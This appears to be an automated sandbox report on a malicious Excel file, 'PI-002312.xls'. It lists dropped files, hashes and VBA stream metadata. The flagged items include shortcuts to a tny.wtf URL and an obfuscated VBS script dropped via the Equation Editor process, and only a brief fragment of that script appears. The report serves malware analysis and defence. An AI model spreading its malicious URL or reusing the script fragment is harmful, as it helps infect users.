                      SHA-256:E8D56D15DA2AF1C68DE2ED0D5E0B22FF71A689451CC320E75309C0A0DC5AAE8F
                      SHA-512:5D29E760CA0BC4EFB1AFDC7AA7B3EF6119E30DB7288D09167F9121981BDD404E9EBD14853B03054EA0BC559E8EB9FED7D15F936503073CE427CB54E8AB775EFA
                      Malicious:false
                      Preview:......JFIF...................................."....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............................"....."3 % % 3-7,),7-Q@88@Q^OJO^qeeq............8...."..........1...............................................................>......|}..............$#}..._l...|Z.V.......I%..~.1..P.KNH..............9...Y..I/dLO._....Af8H..........................................................i.3Z...<.."*4.2....Ee.a.8......v..ew..p...........sE..E..._..M.r...d}5._M._..........>...<........................................................................................................................................................................................................................................................................................................................................................Z.p.G.n....`.N....~.c...n.}....(.W~_,.k..w.<..!...;..G..7.7XCu.t...............N.B.#])1-W..h..1>.X...OM.XLm_;p...1...0..%....Bz.5.|..:..r..............\.p...z

                      C:\Users\user\AppData\Local\Temp\zynova.jpeg:Zone.Identifier

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:ASCII text, with CRLF line terminators
                      Category:dropped
                      Size (bytes):26
                      Entropy (8bit):3.95006375643621
                      Encrypted:false
                      SSDEEP:3:gAWY3n:qY3n
                      MD5:FBCCF14D504B7B2DBCB5A5BDA75BD93B
                      SHA1:D59FC84CDD5217C6CF74785703655F78DA6B582B
                      SHA-256:EACD09517CE90D34BA562171D15AC40D302F0E691B439F91BE1B6406E25F5913
                      SHA-512:AA1D2B1EA3C9DE3CCADB319D4E3E3276A2F27DD1A5244FE72DE2B6F94083DDDC762480482C5C2E53F803CD9E3973DDEFC68966F974E124307B5043E654443B98
                      Malicious:false
                      Preview:[ZoneTransfer]..ZoneId=3..

                      C:\Users\user\AppData\Local\Temp\{0DFF1784-FDC3-412A-9E88-4A88E188AA97}

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):131072
                      Entropy (8bit):0.025614357298825247
                      Encrypted:false
                      SSDEEP:6:I3DPcNi49HvxggLRZM2UF2RXv//4tfnRujlw//+GtluJ/eRuj:I3DPBwPC2U0vYg3J/
                      MD5:7AA3DC0D2FD4FF4405395B7BC386C395
                      SHA1:9420716CA5EE6DCAC8256D3AF44EF7768CE158C9
                      SHA-256:A47B5C456EB0C36CF4BF0A3E260375752402C785F806A064BDF447FBA4C56B56
                      SHA-512:E96858652B8755055F394D7F671BB4C13951F8522DA8DF562FF2B7267B98B5DA2804847C2604DDBFB3649C36A385BA1EA114815700D6530E981DECDF5FD9804F
                      Malicious:false
                      Preview:......M.eFy...zi..{`.N.....o..S,...X.F...Fa.q.............................fM...H..Xa...Y.........."dn..I.h..c^.......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Temp\{F399FC10-5E17-4C5E-8E52-7AED7F672B5C}

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):131072
                      Entropy (8bit):0.025519901271545554
                      Encrypted:false
                      SSDEEP:6:I3DPc1t2cuzRvxggLR3u6aAVLpmtRXv//4tfnRujlw//+GtluJ/eRuj:I3DP5c8dbSAVLpmTvYg3J/
                      MD5:45A7E3198B8E37C9C7957F6D3D3712A2
                      SHA1:7FA55890C47366B546FE3ABF18DBFEB7CBC8ADC7
                      SHA-256:FB26C3737169A34119710DF98719E9EDE99234A5A4EEEDD705E6E3B8BC29A4A1
                      SHA-512:5301C9E5870FE0E6A016F76E99C3C4EE876F41C032392B670D8D2570BBD3EF9713216B1AAEFF7703031B8E9F47890018270FBF614C97E56121AC674DB392C1E1
                      Malicious:false
                      Preview:......M.eFy...z..F..bcD....>..S,...X.F...Fa.q............................ ..~.t.N.&.=............uR.F...N..l...9.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Temp\~DF1EBBD290B6D7EBE6.TMP

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Composite Document File V2 Document, Cannot read section info
                      Category:dropped
                      Size (bytes):713216
                      Entropy (8bit):7.9481024354555965
                      Encrypted:false
                      SSDEEP:12288:t0nYCfghpozwjTvYm0nWvuQWaha/QX9+FEK7P4ZbfAc3n4dvVb5D2oafMk25s/ND:+YCfgQWb4suQzha/AQFEK7wZsgOvVbYV
                      MD5:E8552F9E5BCE6DB9BE98E614406BC816
                      SHA1:BA76E8F9E9182A03855CD2BFBFC577CAE8269133
                      SHA-256:B524528DBB429C989D9FB6730C0713E904A2D00831745948D2A0DB4023326361
                      SHA-512:2D7B73DCD412CE33D20B0C1F7CCFE5FF16FF33F9A7AAC3564CB3E1EFEC7104EB1B974D8C8BB4E390BC1D5909E19C335D14C13AC44B77546847A31B4FFF6B42D5
                      Malicious:false
                      Preview:......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                      C:\Users\user\AppData\Local\Temp\~DF7BCE3A523E29F5B8.TMP

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):512
                      Entropy (8bit):0.0
                      Encrypted:false
                      SSDEEP:3::
                      MD5:BF619EAC0CDF3F68D496EA9344137E8B
                      SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                      SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                      SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                      Malicious:false
                      Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Temp\~DFC5146D9B2917079D.TMP

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):720896
                      Entropy (8bit):7.905741957063297
                      Encrypted:false
                      SSDEEP:12288:I0nYCfghpozwjTvYm0nWvuQWaha/QX9+FEK7P4ZbfAc3n4dvVb5D2oafMk25s/N3:RYCfgQWb4suQzha/AQFEK7wZsgOvVbYl
                      MD5:5AEE0D69FC79FCBA97F3A47758C16811
                      SHA1:A8EB5BAD7AC3AFCCBDC9E539BEE209BB84330285
                      SHA-256:76CC684CFCE56C7F0E55FB335BB3B4F6B0BEF86766E1BF22B14D344697A2BE81
                      SHA-512:973E5C59F8505B8DA6EC077DF5E4B06C1DE7668085F7D1B944B4B994109293EABA672E8E9885E3F5980E0DC3C1FB1605C8D5976D75A13204EA43359CA907709B
                      Malicious:false
                      Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Local\Temp\~DFEA6B1139B57437D4.TMP

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):512
                      Entropy (8bit):0.0
                      Encrypted:false
                      SSDEEP:3::
                      MD5:BF619EAC0CDF3F68D496EA9344137E8B
                      SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                      SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                      SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                      Malicious:false
                      Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Zfp4WP.url

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/Zfp4WP>), ASCII text, with CRLF line terminators
                      Category:dropped
                      Size (bytes):47
                      Entropy (8bit):4.543742574989831
                      Encrypted:false
                      SSDEEP:3:HRAbABGQYm/3LcmW/JUMn:HRYFVm/3LO/Jh
                      MD5:A7F9DBDA24DDE6B767A8CC1A28DD308F
                      SHA1:7D8EF5DFD5E83AEF5CE433CEAD3CDD5DCC52C5D0
                      SHA-256:AC9123A03E3AAECAA45E84A3F47F6B9786F1A9DB1AFD35433E1F6FFC8965A0C2
                      SHA-512:87A7EA8BBCA45FF35E0C102F6C0C0D7DDB6E41E23238FFEBDF09240A4621118A074C198C8297B70178BBDFAA9B8903F9C4B268426ECA414E7DFBFD504F4798CD
                      Malicious:true
                      Preview:[InternetShortcut]..URL=http://tny.wtf/Zfp4WP..

                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:Generic INItialization configuration [xls]
                      Category:modified
                      Size (bytes):81
                      Entropy (8bit):4.748567867210783
                      Encrypted:false
                      SSDEEP:3:bDJVYVIcLOQKI/pzCmMv/pzCv:btV4hDKI/pov/pI
                      MD5:167854F6CB87E63EB2ABB3B3A1F5AC95
                      SHA1:AB61BC5709CF66CBC2BB1C5040CED69606D1A7CE
                      SHA-256:329FEA5AF4BEB8D0B6F72A86A61A7E81BC7AA09DBD5BEE4EF3B1BAF055C5B73B
                      SHA-512:D1AA07DEBF171BD12A6191C8DD42EFCBD5A53E4B92B16E7DC1879E40E228879DB047EF1DB2DFCD4FDEB5F82A3407EEC7E28C2AFF8E87F097B04A12858F5420F6
                      Malicious:false
                      Preview:[folders]..Zfp4WP.url=0..tny.wtf.url=0..PI-002312.LNK=0..[xls]..PI-002312.LNK=0..

                      C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\tny.wtf.url

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:MS Windows 95 Internet shortcut text (URL=<http://tny.wtf/>), ASCII text, with CRLF line terminators
                      Category:dropped
                      Size (bytes):41
                      Entropy (8bit):4.2963379801223045
                      Encrypted:false
                      SSDEEP:3:HRAbABGQYm/3LcmWy:HRYFVm/3LOy
                      MD5:D591A53347F94FBC48B4B6A5CCE920ED
                      SHA1:C00082566F3211F9B1BBEC933A8AE164759C290A
                      SHA-256:1CA93696A94797C9411318830CAC6A5B26FEACC37D5CAA4B3742D722CD073781
                      SHA-512:BA14258049ABCC3E31AA3DFC3ABBC2949AF30BB73B031C0E408BCF036B51B7AC11E32C3B39A7952E1A007179720C970B29CB2DF8EF03A021EF3B59FEB5AE177E
                      Malicious:true
                      Preview:[InternetShortcut]..URL=http://tny.wtf/..

                      C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      File Type:data
                      Category:dropped
                      Size (bytes):162
                      Entropy (8bit):2.503835550707525
                      Encrypted:false
                      SSDEEP:3:vrJlaCkWtVyZbHigAWvCGkJU2lln:vdsCkWtyjigDzXKl
                      MD5:149A07C771DCBEC7963281041D02A4E6
                      SHA1:A0E70DB2FF3DE3B764B29DE2E34241B423F3A473
                      SHA-256:3A3A1498C9FD6DA3DCDA7F682BE2E38B72D21F5FBC492AADE492FACCCAA8D387
                      SHA-512:2784EC471F04A9625097B967B2FDB42E5FE28F459B7EB6D1F36B656C2B7C26EF32DE50D852CE02198CA88739548C50AD8A471AAF0C856092A878D50931640E3C
                      Malicious:false
                      Preview:.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

                      C:\Users\user\AppData\Roaming\weseethesimplethingsalwaystog.vBS

                      Download File
                      Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                      File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                      Category:dropped
                      Size (bytes):414990
                      Entropy (8bit):3.5776427335218326
                      Encrypted:false
                      SSDEEP:3072:sHGowfvYF7hNe4VTdRnTT8w4TWIdqruoJTgCOpBKEMDS7opi70cmt07CjeJIvv:OwfvYFqdqR
                      MD5:C7F6CF5DA3192C2CAE7D911EE67F6620
                      SHA1:9502C8B3D6FAAFC64C45C7731CA9528DB6B7ED76
                      SHA-256:8EC7A5B08CAF43325E9C75D3E9397418ABE644CFC39185F5BC0AC5A9E954F858
                      SHA-512:CFBA63F83B3667C80E7615C676CF858B7B816E9202B4C2F6FCBD86A9D54BB29E959B6B4E791C9ADF00B43A278ECCE8D4824F214224DE15708D3DE5D4F5E7130A
                      Malicious:true
                      Preview:..d.i.m. .i.l.l.a.c.e.r.a.d.o.E.E. .....i.l.l.a.c.e.r.a.d.o.E. .=. .r.a.n.i.n.o.........a.n.a.d.a.r.(.".L._.H.e.l.p.A.l.i.a.s._.0.0.1._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".L._.H.e.l.p.A.l.i.a.s._.0.0.2._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".L._.H.e.l.p.A.l.i.a.s._.0.0.3._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.4._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.6._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.7._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.i.a.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .i.l.l.a.c.e.r.a.d.o.E. .&. ._.....a.n.a.d.a.r.(.".X._.H.e.l.p.A.l.

                      C:\Users\user\Desktop\47730000

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Jul 29 14:22:49 2024, Security: 1
                      Category:dropped
                      Size (bytes):1475072
                      Entropy (8bit):7.987266599312308
                      Encrypted:false
                      SSDEEP:24576:GYCfgQWb4suQzha/AQFEK7wZsgOvVbYowMX2DVfO3NqiYVh8LUWyb5KDJaOos2nl:GY/v4sui45FEBvIpYofeEMiYVmUWy9tl
                      MD5:251D8DC628820268D1728BF6A3C49EB9
                      SHA1:697BAA1A0201382233DEBE27CC761FE8A147F792
                      SHA-256:485958FF02C86D3A0BC903F488CA54C4984DFF8884C4532EB0A074A62F06C2FB
                      SHA-512:EC823D3EF3C8C8972D119D473D0B95CA1AC6C5A1C2EFA4EE6382638F2497FED06E4F5A3537186FC95D7B9E33D472CDFE7E81D0059BA07C2713F3A36D6444D7FB
                      Malicious:false
                      Preview:......................>...................................^...................................................................b.......d.......f.......h.......j.......................................................................................................................................................................................................................................................................................................................................................................?................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                      C:\Users\user\Desktop\47730000:Zone.Identifier

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:ASCII text, with CRLF line terminators
                      Category:dropped
                      Size (bytes):26
                      Entropy (8bit):3.95006375643621
                      Encrypted:false
                      SSDEEP:3:ggPYV:rPYV
                      MD5:187F488E27DB4AF347237FE461A079AD
                      SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                      SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                      SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                      Malicious:false
                      Preview:[ZoneTransfer]....ZoneId=0

                      C:\Users\user\Desktop\PI-002312.xls (copy)

                      Download File
                      Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Jul 29 14:22:49 2024, Security: 1
                      Category:dropped
                      Size (bytes):1475072
                      Entropy (8bit):7.987266599312308
                      Encrypted:false
                      SSDEEP:24576:GYCfgQWb4suQzha/AQFEK7wZsgOvVbYowMX2DVfO3NqiYVh8LUWyb5KDJaOos2nl:GY/v4sui45FEBvIpYofeEMiYVmUWy9tl
                      MD5:251D8DC628820268D1728BF6A3C49EB9
                      SHA1:697BAA1A0201382233DEBE27CC761FE8A147F792
                      SHA-256:485958FF02C86D3A0BC903F488CA54C4984DFF8884C4532EB0A074A62F06C2FB
                      SHA-512:EC823D3EF3C8C8972D119D473D0B95CA1AC6C5A1C2EFA4EE6382638F2497FED06E4F5A3537186FC95D7B9E33D472CDFE7E81D0059BA07C2713F3A36D6444D7FB
                      Malicious:true
                      Preview:......................>...................................^...................................................................b.......d.......f.......h.......j.......................................................................................................................................................................................................................................................................................................................................................................?................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

                      Static File Info

                      General

                      File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Jul 29 07:07:22 2024, Security: 1
                      Entropy (8bit):7.981860956815325
                      TrID:
                      • Microsoft Excel sheet (30009/1) 47.99%
                      • Microsoft Excel sheet (alternate) (24509/1) 39.20%
                      • Generic OLE2 / Multistream Compound File (8008/1) 12.81%
                      File name:PI-002312.xls
                      File size:1'358'336 bytes
                      MD5:b271becd6dd76a902d4374ce60edbcea
                      SHA1:462290f5cd625b6e7c5f390f989674fe6f87636f
                      SHA256:aca81cde18c7fe3986668dda6e66b95de6826d6a6cb916e3507380b96800b96b
                      SHA512:a1504b0adafd6e2174b3415abb507c6a443cd0a549b9926b849a78306202f2af9d3b0787563b39244fad51df284b289651319e0d1e17f7c3a983a932490c5214
                      SSDEEP:24576:TuQzha/AQFEK7wZsgOvVbYowMXnCfg+WUC6nddpj69Vu/PWVmQ23TbzQxVqGSnYZ:Tui45FEBvIpYofn/J6ndPj6jMWVm73Tt
                      TLSH:1C553331FD878F18D90B91B44B9685B39E68BC626B41D917B24C7B0C7D376B082A3F19
                      File Content Preview:........................>.......................................................................................................j.......l.......n.......p......................................................................................................

                      File Icon

                      Icon Hash:276ea3a6a6b7bfbf

                      Static OLE Info

                      General

                      Document Type:OLE
                      Number of OLE Files:1

                      OLE File "PI-002312.xls"

                      Indicators
                      Has Summary Info:
                      Application Name:Microsoft Excel
                      Encrypted Document:True
                      Contains Word Document Stream:False
                      Contains Workbook/Book Stream:True
                      Contains PowerPoint Document Stream:False
                      Contains Visio Document Stream:False
                      Contains ObjectPool Stream:False
                      Flash Objects Count:0
                      Contains VBA Macros:True
                      Summary
                      Code Page:1252
                      Author:
                      Last Saved By:
                      Create Time:2006-09-16 00:00:00
                      Last Saved Time:2024-07-29 06:07:22
                      Creating Application:Microsoft Excel
                      Security:1
                      Document Summary
                      Document Code Page:1252
                      Thumbnail Scaling Desired:False
                      Contains Dirty Links:False
                      Shared Document:False
                      Changed Hyperlinks:False
                      Application Version:786432

                      Streams with VBA

                      VBA File Name: Sheet1.cls, Stream Size: 977
                      General
                      Stream Path:_VBA_PROJECT_CUR/VBA/Sheet1
                      VBA File Name:Sheet1.cls
                      Stream Size:977
                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o . w f . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
                      Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6f 09 77 66 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      VBA Code
                      Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                      VBA File Name: Sheet2.cls, Stream Size: 977
                      General
                      Stream Path:_VBA_PROJECT_CUR/VBA/Sheet2
                      VBA File Name:Sheet2.cls
                      Stream Size:977
                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o . . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 . - .
                      Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6f 09 cc f8 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      VBA Code
                      Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                      VBA File Name: Sheet3.cls, Stream Size: 977
                      General
                      Stream Path:_VBA_PROJECT_CUR/VBA/Sheet3
                      VBA File Name:Sheet3.cls
                      Stream Size:977
                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o . e 8 . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 2 . 0 .
                      Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6f 09 65 38 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      VBA Code
                      Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                      VBA File Name: ThisWorkbook.cls, Stream Size: 985
                      General
                      Stream Path:_VBA_PROJECT_CUR/VBA/ThisWorkbook
                      VBA File Name:ThisWorkbook.cls
                      Stream Size:985
                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . o . ] P . . # . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M E . . . . . . . . . . . . . . . . . . . . . . . ( . . . . . S L . . . . S . . . . . S . . . . . < . . . . . . . . . . N . 0 . { . 0 . 0 . 0 . 2 . 0 . 8 . 1 . 9 .
                      Data Raw:01 16 01 00 00 f0 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00 00 00 00 00 00 01 00 00 00 6f 09 5d 50 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01 00 00 00 00 ff ff ff ff 00 00 00 00 ff ff ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      VBA Code
                      Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

                      Streams

                      Stream Path: \x1CompObj, File Type: data, Stream Size: 114
                      General
                      Stream Path:\x1CompObj
                      CLSID:
                      File Type:data
                      Stream Size:114
                      Entropy:4.25248375192737
                      Base64 Encoded:True
                      Data ASCII:. . . . . . . . . . . . . . . . . . . F & . . . M i c r o s o f t O f f i c e E x c e l 2 0 0 3 W o r k s h e e t . . . . . B i f f 8 . . . . . E x c e l . S h e e t . 8 . 9 q . . . . . . . . . . . .
                      Data Raw:01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 26 00 00 00 4d 69 63 72 6f 73 6f 66 74 20 4f 66 66 69 63 65 20 45 78 63 65 6c 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74 00 06 00 00 00 42 69 66 66 38 00 0e 00 00 00 45 78 63 65 6c 2e 53 68 65 65 74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
                      Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 244
                      General
                      Stream Path:\x5DocumentSummaryInformation
                      CLSID:
                      File Type:data
                      Stream Size:244
                      Entropy:2.889430592781307
                      Base64 Encoded:False
                      Data ASCII:. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , 0 . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t 1 . . . . . S h e e t 2 . . . . . S h e e t 3 . . . . . . . . . . . . . . . . . W o r k s h e e t s . . . . . . . . .
